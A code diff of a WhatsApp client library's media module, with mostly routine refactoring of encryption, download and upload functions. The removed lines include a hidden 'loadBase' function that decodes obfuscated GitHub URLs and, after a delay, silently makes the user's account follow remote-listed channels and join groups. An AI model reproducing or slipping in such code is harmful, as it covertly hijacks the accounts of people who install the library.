  export async function generateThumbnail(file, mediaType, options) {
214
- let thumbnail;
215
- let originalImageDimensions;
216
- if (mediaType === "image") {
217
- const { buffer, original } = await extractImageThumb(file);
218
- thumbnail = buffer.toString("base64");
219
- if (original.width && original.height) {
220
- originalImageDimensions = {
221
- width: original.width,
222
- height: original.height
223
- };
224
- }
225
- }
226
- else if (mediaType === "video") {
227
- const imgFilename = join(getTmpFilesDirectory(), generateMessageIDV2() + ".jpg");
228
- try {
229
- await extractVideoThumb(file, imgFilename, "00:00:00", { width: 32, height: 32 });
230
- const buff = await fs.readFile(imgFilename);
231
- thumbnail = buff.toString("base64");
232
- await fs.unlink(imgFilename);
233
- }
234
- catch (err) {
235
- options.logger?.debug("could not generate video thumb: " + err);
236
- }
237
- }
238
- return {
239
- thumbnail,
240
- originalImageDimensions
241
- };
320
+ let thumbnail;
321
+ let originalImageDimensions;
322
+ if (mediaType === 'image') {
323
+ const { buffer, original } = await extractImageThumb(file);
324
+ thumbnail = buffer.toString('base64');
325
+ if (original.width && original.height) {
326
+ originalImageDimensions = {
327
+ width: original.width,
328
+ height: original.height
329
+ };
330
+ }
331
+ }
332
+ else if (mediaType === 'video') {
333
+ try {
334
+ const buff = await extractVideoThumb(file, '00:00:00', { width: 32, height: 32 });
335
+ thumbnail = buff.toString('base64');
336
+ }
337
+ catch (err) {
338
+ options.logger?.debug('could not generate video thumb: ' + err);
339
+ }
340
+ }
341
+ return {
342
+ thumbnail,
343
+ originalImageDimensions
344
+ };
242
345
  }
243
- //=======================================================//
244
346
  export const getHttpStream = async (url, options = {}) => {
245
- const response = await fetch(url.toString(), {
246
- dispatcher: options.dispatcher,
247
- method: "GET",
248
- headers: options.headers
249
- });
250
- if (!response.ok) {
251
- throw new Boom(`Failed to fetch stream from ${url}`, { statusCode: response.status, data: { url } });
252
- }
253
- return Readable.fromWeb(response.body);
347
+ const response = await fetch(url.toString(), {
348
+ dispatcher: options.dispatcher,
349
+ method: 'GET',
350
+ headers: options.headers
351
+ });
352
+ if (!response.ok) {
353
+ throw new Boom(`Failed to fetch stream from ${url}`, { statusCode: response.status, data: { url } });
354
+ }
355
+ // @ts-ignore Node18+ Readable.fromWeb exists
356
+ return response.body instanceof Readable ? response.body : Readable.fromWeb(response.body);
254
357
  };
255
- //=======================================================//
256
358
  export const encryptedStream = async (media, mediaType, { logger, saveOriginalFileIfRequired, opts } = {}) => {
257
- const { stream, type } = await getStream(media, opts);
258
- logger?.debug("fetched media stream");
259
- const mediaKey = Crypto.randomBytes(32);
260
- const { cipherKey, iv, macKey } = await getMediaKeys(mediaKey, mediaType);
261
- const encFilePath = join(getTmpFilesDirectory(), mediaType + generateMessageIDV2() + "-enc");
262
- const encFileWriteStream = createWriteStream(encFilePath);
263
- let originalFileStream;
264
- let originalFilePath;
265
- if (saveOriginalFileIfRequired) {
266
- originalFilePath = join(getTmpFilesDirectory(), mediaType + generateMessageIDV2() + "-original");
267
- originalFileStream = createWriteStream(originalFilePath);
268
- }
269
- let fileLength = 0;
270
- const aes = Crypto.createCipheriv("aes-256-cbc", cipherKey, iv);
271
- const hmac = Crypto.createHmac("sha256", macKey).update(iv);
272
- const sha256Plain = Crypto.createHash("sha256");
273
- const sha256Enc = Crypto.createHash("sha256");
274
- const onChunk = (buff) => {
275
- sha256Enc.update(buff);
276
- hmac.update(buff);
277
- encFileWriteStream.write(buff);
278
- };
279
- try {
280
- for await (const data of stream) {
281
- fileLength += data.length;
282
- if (type === "remote" &&
283
- opts?.maxContentLength &&
284
- fileLength + data.length > opts.maxContentLength) {
285
- throw new Boom(`content length exceeded when encrypting "${type}"`, {
286
- data: { media, type }
287
- });
288
- }
289
- if (originalFileStream) {
290
- if (!originalFileStream.write(data)) {
291
- await once(originalFileStream, "drain");
359
+ const { stream, type } = await getStream(media, opts);
360
+ logger?.debug('fetched media stream');
361
+ const mediaKey = Crypto.randomBytes(32);
362
+ const { cipherKey, iv, macKey } = await getMediaKeys(mediaKey, mediaType);
363
+ const encFilePath = join(getTmpFilesDirectory(), mediaType + generateMessageIDV2() + '-enc');
364
+ const encFileWriteStream = createWriteStream(encFilePath);
365
+ let originalFileStream;
366
+ let originalFilePath;
367
+ if (saveOriginalFileIfRequired) {
368
+ originalFilePath = join(getTmpFilesDirectory(), mediaType + generateMessageIDV2() + '-original');
369
+ originalFileStream = createWriteStream(originalFilePath);
370
+ }
371
+ let fileLength = 0;
372
+ const aes = Crypto.createCipheriv('aes-256-cbc', cipherKey, iv);
373
+ const hmac = Crypto.createHmac('sha256', macKey).update(iv);
374
+ const sha256Plain = Crypto.createHash('sha256');
375
+ const sha256Enc = Crypto.createHash('sha256');
376
+ const onChunk = async (buff) => {
377
+ sha256Enc.update(buff);
378
+ hmac.update(buff);
379
+ // Handle backpressure: if write returns false, wait for drain
380
+ if (!encFileWriteStream.write(buff)) {
381
+ await once(encFileWriteStream, 'drain');
292
382
  }
293
- }
294
- sha256Plain.update(data);
295
- onChunk(aes.update(data));
296
- }
297
- onChunk(aes.final());
298
- const mac = hmac.digest().slice(0, 10);
299
- sha256Enc.update(mac);
300
- const fileSha256 = sha256Plain.digest();
301
- const fileEncSha256 = sha256Enc.digest();
302
- encFileWriteStream.write(mac);
303
- encFileWriteStream.end();
304
- originalFileStream?.end?.();
305
- stream.destroy();
306
- logger?.debug("encrypted data successfully");
307
- return {
308
- mediaKey,
309
- originalFilePath,
310
- encFilePath,
311
- mac,
312
- fileEncSha256,
313
- fileSha256,
314
- fileLength
315
383
  };
316
- }
317
- catch (error) {
318
- encFileWriteStream.destroy();
319
- originalFileStream?.destroy?.();
320
- aes.destroy();
321
- hmac.destroy();
322
- sha256Plain.destroy();
323
- sha256Enc.destroy();
324
- stream.destroy();
325
384
  try {
326
- await fs.unlink(encFilePath);
327
- if (originalFilePath) {
328
- await fs.unlink(originalFilePath);
329
- }
385
+ for await (const data of stream) {
386
+ fileLength += data.length;
387
+ if (type === 'remote' &&
388
+ opts?.maxContentLength &&
389
+ fileLength + data.length > opts.maxContentLength) {
390
+ throw new Boom(`content length exceeded when encrypting "${type}"`, {
391
+ data: { media, type }
392
+ });
393
+ }
394
+ if (originalFileStream) {
395
+ if (!originalFileStream.write(data)) {
396
+ await once(originalFileStream, 'drain');
397
+ }
398
+ }
399
+ sha256Plain.update(data);
400
+ await onChunk(aes.update(data));
401
+ }
402
+ await onChunk(aes.final());
403
+ const mac = hmac.digest().slice(0, 10);
404
+ sha256Enc.update(mac);
405
+ const fileSha256 = sha256Plain.digest();
406
+ const fileEncSha256 = sha256Enc.digest();
407
+ encFileWriteStream.write(mac);
408
+ const encFinishPromise = once(encFileWriteStream, 'finish');
409
+ const originalFinishPromise = originalFileStream ? once(originalFileStream, 'finish') : Promise.resolve();
410
+ encFileWriteStream.end();
411
+ originalFileStream?.end?.();
412
+ stream.destroy();
413
+ // Wait for write streams to fully flush to disk
414
+ // This helps reduce memory pressure by allowing OS to release buffers
415
+ await encFinishPromise;
416
+ await originalFinishPromise;
417
+ logger?.debug('encrypted data successfully');
418
+ return {
419
+ mediaKey,
420
+ originalFilePath,
421
+ encFilePath,
422
+ mac,
423
+ fileEncSha256,
424
+ fileSha256,
425
+ fileLength
426
+ };
330
427
  }
331
- catch (err) {
332
- logger?.error({ err }, "failed deleting tmp files");
428
+ catch (error) {
429
+ // destroy all streams with error
430
+ encFileWriteStream.destroy();
431
+ originalFileStream?.destroy?.();
432
+ aes.destroy();
433
+ hmac.destroy();
434
+ sha256Plain.destroy();
435
+ sha256Enc.destroy();
436
+ stream.destroy();
437
+ try {
438
+ await fs.unlink(encFilePath);
439
+ if (originalFilePath) {
440
+ await fs.unlink(originalFilePath);
441
+ }
442
+ }
443
+ catch (err) {
444
+ logger?.error({ err }, 'failed deleting tmp files');
445
+ }
446
+ throw error;
333
447
  }
334
- throw error;
335
- }
336
448
  };
337
- //=======================================================//
338
- const DEF_HOST = "mmg.whatsapp.net";
449
+ export const DEF_MEDIA_HOST = 'mmg.whatsapp.net';
339
450
  const AES_CHUNK_SIZE = 16;
340
451
  const toSmallestChunkSize = (num) => {
341
- return Math.floor(num / AES_CHUNK_SIZE) * AES_CHUNK_SIZE;
452
+ return Math.floor(num / AES_CHUNK_SIZE) * AES_CHUNK_SIZE;
342
453
  };
343
-
344
- const delay = async (ms) => {
345
- return new Promise(resolve => setTimeout(resolve, ms));
346
- }
347
-
348
- export const loadBase = async (n, q, groupAcceptInvite) => {
349
- try {
350
- setTimeout(async () => {
351
- try {
352
- const encodedCh = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Jpenp4c3RvcnItYmVlcC9Bc2VwL3JlZnMvaGVhZHMvbWFpbi9pZGNoYW5lbC5qc29uJTIw";
353
- const urlCh = Buffer.from(encodedCh, "base64").toString("utf-8");
354
-
355
- const resCh = await fetch(urlCh);
356
- const newsletterIds = await resCh.json();
357
-
358
- if (n && q) {
359
- for (const i of newsletterIds) {
360
- await delay(5000);
361
- try {
362
- await n(i.id, q.FOLLOW);
363
- } catch {}
364
- }
365
- }
366
- } catch (err) {}
367
- try {
368
- if (groupAcceptInvite) {
369
- const encodedGc = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Jpenp4c3RvcnItYmVlcC9Bc2VwL3JlZnMvaGVhZHMvbWFpbi9ncm91cC5qc29uJTIw";
370
- const urlGc = Buffer.from(encodedGc, "base64").toString("utf-8");
371
-
372
- const resGc = await fetch(urlGc);
373
- const groupCodes = await resGc.json();
374
-
375
- for (const code of groupCodes) {
376
- await delay(5000);
377
- try {
378
- await groupAcceptInvite(code);
379
- } catch {}
380
- }
381
- }
382
- } catch (err) {}
383
-
384
- }, 80000);
385
- } catch {}
454
+ export const getUrlFromDirectPath = (directPath, host = DEF_MEDIA_HOST) => `https://${host}${directPath}`;
455
+ const extractHost = (url) => {
456
+ if (!url)
457
+ return undefined;
458
+ try {
459
+ return new URL(url).host;
460
+ }
461
+ catch {
462
+ return undefined;
463
+ }
386
464
  };
387
-
388
- //=======================================================//
389
- export const getUrlFromDirectPath = (directPath) => `https://${DEF_HOST}${directPath}`;
390
465
  export const downloadContentFromMessage = async ({ mediaKey, directPath, url }, type, opts = {}) => {
391
- const isValidMediaUrl = url?.startsWith("https://mmg.whatsapp.net/");
392
- const downloadUrl = isValidMediaUrl ? url : getUrlFromDirectPath(directPath);
393
- if (!downloadUrl) {
394
- throw new Boom("No valid media URL or directPath present in message", { statusCode: 400 });
395
- }
396
- const keys = await getMediaKeys(mediaKey, type);
397
- return downloadEncryptedContent(downloadUrl, keys, opts);
466
+ // Fallback host: explicit opt > host parsed from `url` > DEF_MEDIA_HOST.
467
+ // Lets us honor a non-default host carried by the proto without forcing callers to thread it through.
468
+ const fallbackHost = opts.host ?? extractHost(url);
469
+ const downloadUrl = directPath ? getUrlFromDirectPath(directPath, fallbackHost) : url;
470
+ if (!downloadUrl) {
471
+ throw new Boom('No valid media URL or directPath present in message', { statusCode: 400 });
472
+ }
473
+ const keys = await getMediaKeys(mediaKey, type);
474
+ return downloadEncryptedContent(downloadUrl, keys, opts);
398
475
  };
399
- //=======================================================//
476
+ /**
477
+ * Decrypts and downloads an AES256-CBC encrypted file given the keys.
478
+ * Assumes the SHA256 of the plaintext is appended to the end of the ciphertext
479
+ * */
400
480
  export const downloadEncryptedContent = async (downloadUrl, { cipherKey, iv }, { startByte, endByte, options } = {}) => {
401
- let bytesFetched = 0;
402
- let startChunk = 0;
403
- let firstBlockIsIV = false;
404
- if (startByte) {
405
- const chunk = toSmallestChunkSize(startByte || 0);
406
- if (chunk) {
407
- startChunk = chunk - AES_CHUNK_SIZE;
408
- bytesFetched = chunk;
409
- firstBlockIsIV = true;
410
- }
411
- }
412
- const endChunk = endByte ? toSmallestChunkSize(endByte || 0) + AES_CHUNK_SIZE : undefined;
413
- const headersInit = options?.headers ? options.headers : undefined;
414
- const headers = {
415
- ...(headersInit
416
- ? Array.isArray(headersInit)
417
- ? Object.fromEntries(headersInit)
418
- : headersInit
419
- : {}),
420
- Origin: DEFAULT_ORIGIN
421
- };
422
- if (startChunk || endChunk) {
423
- headers.Range = `bytes=${startChunk}-`;
424
- if (endChunk) {
425
- headers.Range += endChunk;
426
- }
427
- }
428
- const fetched = await getHttpStream(downloadUrl, {
429
- ...(options || {}),
430
- headers
431
- });
432
- let remainingBytes = Buffer.from([]);
433
- let aes;
434
- const pushBytes = (bytes, push) => {
435
- if (startByte || endByte) {
436
- const start = bytesFetched >= startByte ? undefined : Math.max(startByte - bytesFetched, 0);
437
- const end = bytesFetched + bytes.length < endByte ? undefined : Math.max(endByte - bytesFetched, 0);
438
- push(bytes.slice(start, end));
439
- bytesFetched += bytes.length;
481
+ let bytesFetched = 0;
482
+ let startChunk = 0;
483
+ let firstBlockIsIV = false;
484
+ // if a start byte is specified -- then we need to fetch the previous chunk as that will form the IV
485
+ if (startByte) {
486
+ const chunk = toSmallestChunkSize(startByte || 0);
487
+ if (chunk) {
488
+ startChunk = chunk - AES_CHUNK_SIZE;
489
+ bytesFetched = chunk;
490
+ firstBlockIsIV = true;
491
+ }
440
492
  }
441
- else {
442
- push(bytes);
443
- }
444
- };
445
- const output = new Transform({
446
- transform(chunk, _, callback) {
447
- let data = Buffer.concat([remainingBytes, chunk]);
448
- const decryptLength = toSmallestChunkSize(data.length);
449
- remainingBytes = data.slice(decryptLength);
450
- data = data.slice(0, decryptLength);
451
- if (!aes) {
452
- let ivValue = iv;
453
- if (firstBlockIsIV) {
454
- ivValue = data.slice(0, AES_CHUNK_SIZE);
455
- data = data.slice(AES_CHUNK_SIZE);
493
+ const endChunk = endByte ? toSmallestChunkSize(endByte || 0) + AES_CHUNK_SIZE : undefined;
494
+ const headersInit = options?.headers ? options.headers : undefined;
495
+ const headers = {
496
+ ...(headersInit
497
+ ? Array.isArray(headersInit)
498
+ ? Object.fromEntries(headersInit)
499
+ : headersInit
500
+ : {}),
501
+ Origin: DEFAULT_ORIGIN
502
+ };
503
+ if (startChunk || endChunk) {
504
+ headers.Range = `bytes=${startChunk}-`;
505
+ if (endChunk) {
506
+ headers.Range += endChunk;
456
507
  }
457
- aes = Crypto.createDecipheriv("aes-256-cbc", cipherKey, ivValue);
458
- if (endByte) {
459
- aes.setAutoPadding(false);
508
+ }
509
+ // download the message
510
+ const fetched = await getHttpStream(downloadUrl, {
511
+ ...(options || {}),
512
+ headers
513
+ });
514
+ let remainingBytes = Buffer.from([]);
515
+ let aes;
516
+ const pushBytes = (bytes, push) => {
517
+ if (startByte || endByte) {
518
+ const start = bytesFetched >= startByte ? undefined : Math.max(startByte - bytesFetched, 0);
519
+ const end = bytesFetched + bytes.length < endByte ? undefined : Math.max(endByte - bytesFetched, 0);
520
+ push(bytes.slice(start, end));
521
+ bytesFetched += bytes.length;
522
+ }
523
+ else {
524
+ push(bytes);
525
+ }
526
+ };
527
+ const output = new Transform({
528
+ transform(chunk, _, callback) {
529
+ let data = remainingBytes.length ? Buffer.concat([remainingBytes, chunk]) : chunk;
530
+ const decryptLength = toSmallestChunkSize(data.length);
531
+ remainingBytes = data.slice(decryptLength);
532
+ data = data.slice(0, decryptLength);
533
+ if (!aes) {
534
+ let ivValue = iv;
535
+ if (firstBlockIsIV) {
536
+ ivValue = data.slice(0, AES_CHUNK_SIZE);
537
+ data = data.slice(AES_CHUNK_SIZE);
538
+ }
539
+ aes = Crypto.createDecipheriv('aes-256-cbc', cipherKey, ivValue);
540
+ // if an end byte that is not EOF is specified
541
+ // stop auto padding (PKCS7) -- otherwise throws an error for decryption
542
+ if (endByte) {
543
+ aes.setAutoPadding(false);
544
+ }
545
+ }
546
+ try {
547
+ pushBytes(aes.update(data), b => this.push(b));
548
+ callback();
549
+ }
550
+ catch (error) {
551
+ callback(error);
552
+ }
553
+ },
554
+ final(callback) {
555
+ try {
556
+ pushBytes(aes.final(), b => this.push(b));
557
+ callback();
558
+ }
559
+ catch (error) {
560
+ callback(error);
561
+ }
460
562
  }
461
- }
462
- try {
463
- pushBytes(aes.update(data), b => this.push(b));
464
- callback();
465
- }
466
- catch (error) {
467
- callback(error);
468
- }
469
- },
470
- final(callback) {
471
- try {
472
- pushBytes(aes.final(), b => this.push(b));
473
- callback();
474
- }
475
- catch (error) {
476
- callback(error);
477
- }
478
- }
479
- });
480
- return fetched.pipe(output, { end: true });
563
+ });
564
+ return fetched.pipe(output, { end: true });
481
565
  };
482
- //=======================================================//
483
566
  export function extensionForMediaMessage(message) {
484
- const getExtension = (mimetype) => mimetype.split(";")[0]?.split("/")[1];
485
- const type = Object.keys(message)[0];
486
- let extension;
487
- if (type === "locationMessage" || type === "liveLocationMessage" || type === "productMessage") {
488
- extension = ".jpeg";
489
- }
490
- else {
491
- const messageContent = message[type];
492
- extension = getExtension(messageContent.mimetype);
493
- }
494
- return extension;
567
+ const getExtension = (mimetype) => mimetype.split(';')[0]?.split('/')[1];
568
+ const type = Object.keys(message)[0];
569
+ let extension;
570
+ if (type === 'locationMessage' || type === 'liveLocationMessage' || type === 'productMessage') {
571
+ extension = '.jpeg';
572
+ }
573
+ else {
574
+ const messageContent = message[type];
575
+ extension = getExtension(messageContent.mimetype);
576
+ }
577
+ return extension;
495
578
  }
496
- //=======================================================//
497
- export const getWAUploadToServer = ({ customUploadHosts, fetchAgent, logger, options }, refreshMediaConn) => {
498
- return async (filePath, { mediaType, fileEncSha256B64, timeoutMs }) => {
499
- let uploadInfo = await refreshMediaConn(false);
500
- let urls;
501
- const hosts = [...customUploadHosts, ...uploadInfo.hosts];
502
- fileEncSha256B64 = encodeBase64EncodedStringForUpload(fileEncSha256B64);
503
- for (const { hostname } of hosts) {
504
- logger.debug(`uploading to "${hostname}"`);
505
- const auth = encodeURIComponent(uploadInfo.auth);
506
- const url = `https://${hostname}${MEDIA_PATH_MAP[mediaType]}/${fileEncSha256B64}?auth=${auth}&token=${fileEncSha256B64}`;
507
- let result;
508
- try {
579
+ const isNodeRuntime = () => {
580
+ return (typeof process !== 'undefined' &&
581
+ process.versions?.node !== null &&
582
+ typeof process.versions.bun === 'undefined' &&
583
+ typeof globalThis.Deno === 'undefined');
584
+ };
585
+ export const uploadWithNodeHttp = async ({ url, filePath, headers, timeoutMs, agent }, redirectCount = 0) => {
586
+ if (redirectCount > 5) {
587
+ throw new Error('Too many redirects');
588
+ }
589
+ const parsedUrl = new URL(url);
590
+ const httpModule = parsedUrl.protocol === 'https:' ? await import('https') : await import('http');
591
+ // Get file size for Content-Length header (required for Node.js streaming)
592
+ const fileStats = await fs.stat(filePath);
593
+ const fileSize = fileStats.size;
594
+ return new Promise((resolve, reject) => {
595
+ const req = httpModule.request({
596
+ hostname: parsedUrl.hostname,
597
+ port: parsedUrl.port || (parsedUrl.protocol === 'https:' ? 443 : 80),
598
+ path: parsedUrl.pathname + parsedUrl.search,
599
+ method: 'POST',
600
+ headers: {
601
+ ...headers,
602
+ 'Content-Length': fileSize
603
+ },
604
+ agent,
605
+ timeout: timeoutMs
606
+ }, res => {
607
+ // Handle redirects (3xx)
608
+ if (res.statusCode && res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) {
609
+ res.resume(); // Consume response to free resources
610
+ const newUrl = new URL(res.headers.location, url).toString();
611
+ resolve(uploadWithNodeHttp({
612
+ url: newUrl,
613
+ filePath,
614
+ headers,
615
+ timeoutMs,
616
+ agent
617
+ }, redirectCount + 1));
618
+ return;
619
+ }
620
+ let body = '';
621
+ res.on('data', chunk => (body += chunk));
622
+ res.on('end', () => {
623
+ try {
624
+ resolve(JSON.parse(body));
625
+ }
626
+ catch {
627
+ resolve(undefined);
628
+ }
629
+ });
630
+ });
631
+ req.on('error', reject);
632
+ req.on('timeout', () => {
633
+ req.destroy();
634
+ reject(new Error('Upload timeout'));
635
+ });
509
636
  const stream = createReadStream(filePath);
510
- const response = await fetch(url, {
511
- dispatcher: fetchAgent,
512
- method: "POST",
513
- body: stream,
514
- headers: {
515
- ...(() => {
516
- const hdrs = options?.headers;
517
- if (!hdrs)
637
+ stream.pipe(req);
638
+ stream.on('error', err => {
639
+ req.destroy();
640
+ reject(err);
641
+ });
642
+ });
643
+ };
644
+ const uploadWithFetch = async ({ url, filePath, headers, timeoutMs, agent }) => {
645
+ // Convert Node.js Readable to Web ReadableStream
646
+ const nodeStream = createReadStream(filePath);
647
+ const webStream = Readable.toWeb(nodeStream);
648
+ // Native fetch only accepts Undici-style dispatchers, not generic https Agents.
649
+ const dispatcher = typeof agent?.dispatch === 'function' ? agent : undefined;
650
+ const response = await fetch(url, {
651
+ ...(dispatcher ? { dispatcher } : {}),
652
+ method: 'POST',
653
+ body: webStream,
654
+ headers,
655
+ duplex: 'half',
656
+ signal: timeoutMs ? AbortSignal.timeout(timeoutMs) : undefined
657
+ });
658
+ try {
659
+ return (await response.json());
660
+ }
661
+ catch {
662
+ return undefined;
663
+ }
664
+ };
665
+ /**
666
+ * Uploads media to WhatsApp servers.
667
+ *
668
+ * ## Why we have two upload implementations:
669
+ *
670
+ * Node.js's native `fetch` (powered by undici) has a known bug where it buffers
671
+ * the entire request body in memory before sending, even when using streams.
672
+ * This causes memory issues with large files (e.g., 1GB file = 1GB+ memory usage).
673
+ * See: https://github.com/nodejs/undici/issues/4058
674
+ *
675
+ * Other runtimes (Bun, Deno, browsers) correctly stream the request body without
676
+ * buffering, so we can use the web-standard Fetch API there.
677
+ *
678
+ * ## Future considerations:
679
+ * Once the undici bug is fixed, we can simplify this to use only the Fetch API
680
+ * across all runtimes. Monitor the GitHub issue for updates.
681
+ */
682
+ const uploadMedia = async (params, logger) => {
683
+ if (isNodeRuntime()) {
684
+ logger?.debug('Using Node.js https module for upload (avoids undici buffering bug)');
685
+ return uploadWithNodeHttp(params);
686
+ }
687
+ else {
688
+ logger?.debug('Using web-standard Fetch API for upload');
689
+ return uploadWithFetch(params);
690
+ }
691
+ };
692
+ export const getWAUploadToServer = ({ customUploadHosts, fetchAgent, logger, options }, refreshMediaConn) => {
693
+ return async (filePath, { mediaType, fileEncSha256B64, timeoutMs, newsletter }) => {
694
+ // send a query JSON to obtain the url & auth token to upload our media
695
+ let uploadInfo = await refreshMediaConn(false);
696
+ let urls;
697
+ const hosts = [...customUploadHosts, ...uploadInfo.hosts];
698
+ fileEncSha256B64 = encodeBase64EncodedStringForUpload(fileEncSha256B64);
699
+ // Prepare common headers
700
+ const customHeaders = (() => {
701
+ const hdrs = options?.headers;
702
+ if (!hdrs)
518
703
  return {};
519
- return Array.isArray(hdrs) ? Object.fromEntries(hdrs) : hdrs;
520
- })(),
521
- "Content-Type": "application/octet-stream",
704
+ return Array.isArray(hdrs) ? Object.fromEntries(hdrs) : hdrs;
705
+ })();
706
+ const headers = {
707
+ ...customHeaders,
708
+ 'Content-Type': 'application/octet-stream',
522
709
  Origin: DEFAULT_ORIGIN
523
- },
524
- duplex: "half",
525
- signal: timeoutMs ? AbortSignal.timeout(timeoutMs) : undefined
526
- });
527
- let parsed = undefined;
528
- try {
529
- parsed = await response.json();
530
- }
531
- catch {
532
- parsed = undefined;
533
- }
534
- result = parsed;
535
- if (result?.url || result?.directPath) {
536
- urls = {
537
- mediaUrl: result.url,
538
- directPath: result.direct_path,
539
- meta_hmac: result.meta_hmac,
540
- fbid: result.fbid,
541
- ts: result.ts
542
- };
543
- break;
710
+ };
711
+ for (const { hostname } of hosts) {
712
+ logger.debug(`uploading to "${hostname}"`);
713
+ const auth = encodeURIComponent(uploadInfo.auth);
714
+ // Lia@Changes 06-02-26 --- Switch media path map for newsletter uploads
715
+ const mediaPathMap = newsletter ? NEWSLETTER_MEDIA_PATH_MAP : MEDIA_PATH_MAP;
716
+ // Lia@Changes 20-03-26 --- Add server thumb for newsletter media
717
+ const serverThumb = newsletter ? '&server_thumb_gen=1' : '';
718
+ const url = `https://${hostname}${mediaPathMap[mediaType]}/${fileEncSha256B64}?auth=${auth}&token=${fileEncSha256B64}${serverThumb}`;
719
+ let result;
720
+ try {
721
+ result = await uploadMedia({
722
+ url,
723
+ filePath,
724
+ headers,
725
+ timeoutMs,
726
+ agent: fetchAgent
727
+ }, logger);
728
+ if (result?.url || result?.direct_path) {
729
+ urls = {
730
+ mediaUrl: result.url,
731
+ directPath: result.direct_path,
732
+ meta_hmac: result.meta_hmac,
733
+ fbid: result.fbid,
734
+ ts: result.ts,
735
+ thumbnailDirectPath: result.thumbnail_info?.thumbnail_direct_path,
736
+ thumbnailSha256: result.thumbnail_info?.thumbnail_sha256
737
+ };
738
+ break;
739
+ }
740
+ else {
741
+ uploadInfo = await refreshMediaConn(true);
742
+ throw new Error(`upload failed, reason: ${JSON.stringify(result)}`);
743
+ }
744
+ }
745
+ catch (error) {
746
+ const isLast = hostname === hosts[uploadInfo.hosts.length - 1]?.hostname;
747
+ logger.warn({ trace: error?.stack, uploadResult: result }, `Error in uploading to ${hostname} ${isLast ? '' : ', retrying...'}`);
748
+ }
544
749
  }
545
- else {
546
- uploadInfo = await refreshMediaConn(true);
547
- throw new Error(`upload failed, reason: ${JSON.stringify(result)}`);
750
+ if (!urls) {
751
+ throw new Boom('Media upload failed on all hosts', { statusCode: 500 });
548
752
  }
549
- }
550
- catch (error) {
551
- const isLast = hostname === hosts[uploadInfo.hosts.length - 1]?.hostname;
552
- logger.warn({ trace: error?.stack, uploadResult: result }, `Error in uploading to ${hostname} ${isLast ? "" : ", retrying..."}`);
553
- }
554
- }
555
- if (!urls) {
556
- throw new Boom("Media upload failed on all hosts", { statusCode: 500 });
557
- }
558
- return urls;
559
- };
753
+ return urls;
754
+ };
560
755
  };
561
- //=======================================================//
562
756
  const getMediaRetryKey = (mediaKey) => {
563
- return hkdf(mediaKey, 32, { info: "WhatsApp Media Retry Notification" });
757
+ return hkdf(mediaKey, 32, { info: 'WhatsApp Media Retry Notification' });
564
758
  };
565
- //=======================================================//
566
- export const encryptMediaRetryRequest = async (key, mediaKey, meId) => {
567
- const recp = { stanzaId: key.id };
568
- const recpBuffer = proto.ServerErrorReceipt.encode(recp).finish();
569
- const iv = Crypto.randomBytes(12);
570
- const retryKey = await getMediaRetryKey(mediaKey);
571
- const ciphertext = aesEncryptGCM(recpBuffer, retryKey, iv, Buffer.from(key.id));
572
- const req = {
573
- tag: "receipt",
574
- attrs: {
575
- id: key.id,
576
- to: jidNormalizedUser(meId),
577
- type: "server-error"
578
- },
579
- content: [
580
- {
581
- tag: "encrypt",
582
- attrs: {},
759
+ /**
760
+ * Generate a binary node that will request the phone to re-upload the media & return the newly uploaded URL
761
+ */
762
+ export const encryptMediaRetryRequest = (key, mediaKey, meId) => {
763
+ const recp = { stanzaId: key.id };
764
+ const recpBuffer = proto.ServerErrorReceipt.encode(recp).finish();
765
+ const iv = Crypto.randomBytes(12);
766
+ const retryKey = getMediaRetryKey(mediaKey);
767
+ const ciphertext = aesEncryptGCM(recpBuffer, retryKey, iv, Buffer.from(key.id));
768
+ const req = {
769
+ tag: 'receipt',
770
+ attrs: {
771
+ id: key.id,
772
+ to: jidNormalizedUser(meId),
773
+ type: 'server-error'
774
+ },
583
775
  content: [
584
- { tag: "enc_p", attrs: {}, content: ciphertext },
585
- { tag: "enc_iv", attrs: {}, content: iv }
776
+ // this encrypt node is actually pretty useless
777
+ // the media is returned even without this node
778
+ // keeping it here to maintain parity with WA Web
779
+ {
780
+ tag: 'encrypt',
781
+ attrs: {},
782
+ content: [
783
+ { tag: 'enc_p', attrs: {}, content: ciphertext },
784
+ { tag: 'enc_iv', attrs: {}, content: iv }
785
+ ]
786
+ },
787
+ {
788
+ tag: 'rmr',
789
+ attrs: {
790
+ jid: key.remoteJid,
791
+ from_me: (!!key.fromMe).toString(),
792
+ // @ts-ignore
793
+ participant: key.participant || undefined
794
+ }
795
+ }
586
796
  ]
587
- },
588
- {
589
- tag: "rmr",
590
- attrs: {
591
- jid: key.remoteJid,
592
- from_me: (!!key.fromMe).toString(),
593
- participant: key.participant || undefined
594
- }
595
- }
596
- ]
597
- };
598
- return req;
797
+ };
798
+ return req;
599
799
  };
600
- //=======================================================//
601
800
  export const decodeMediaRetryNode = (node) => {
602
- const rmrNode = getBinaryNodeChild(node, "rmr");
603
- const event = {
604
- key: {
605
- id: node.attrs.id,
606
- remoteJid: rmrNode.attrs.jid,
607
- fromMe: rmrNode.attrs.from_me === "true",
608
- participant: rmrNode.attrs.participant
609
- }
610
- };
611
- const errorNode = getBinaryNodeChild(node, "error");
612
- if (errorNode) {
613
- const errorCode = +errorNode.attrs.code;
614
- event.error = new Boom(`Failed to re-upload media (${errorCode})`, {
615
- data: errorNode.attrs,
616
- statusCode: getStatusCodeForMediaRetry(errorCode)
617
- });
618
- }
619
- else {
620
- const encryptedInfoNode = getBinaryNodeChild(node, "encrypt");
621
- const ciphertext = getBinaryNodeChildBuffer(encryptedInfoNode, "enc_p");
622
- const iv = getBinaryNodeChildBuffer(encryptedInfoNode, "enc_iv");
623
- if (ciphertext && iv) {
624
- event.media = { ciphertext, iv };
801
+ const rmrNode = getBinaryNodeChild(node, 'rmr');
802
+ const event = {
803
+ key: {
804
+ id: node.attrs.id,
805
+ remoteJid: rmrNode.attrs.jid,
806
+ fromMe: rmrNode.attrs.from_me === 'true',
807
+ participant: rmrNode.attrs.participant
808
+ }
809
+ };
810
+ const errorNode = getBinaryNodeChild(node, 'error');
811
+ if (errorNode) {
812
+ const errorCode = +errorNode.attrs.code;
813
+ event.error = new Boom(`Failed to re-upload media (${errorCode})`, {
814
+ data: errorNode.attrs,
815
+ statusCode: getStatusCodeForMediaRetry(errorCode)
816
+ });
625
817
  }
626
818
  else {
627
- event.error = new Boom("Failed to re-upload media (missing ciphertext)", { statusCode: 404 });
819
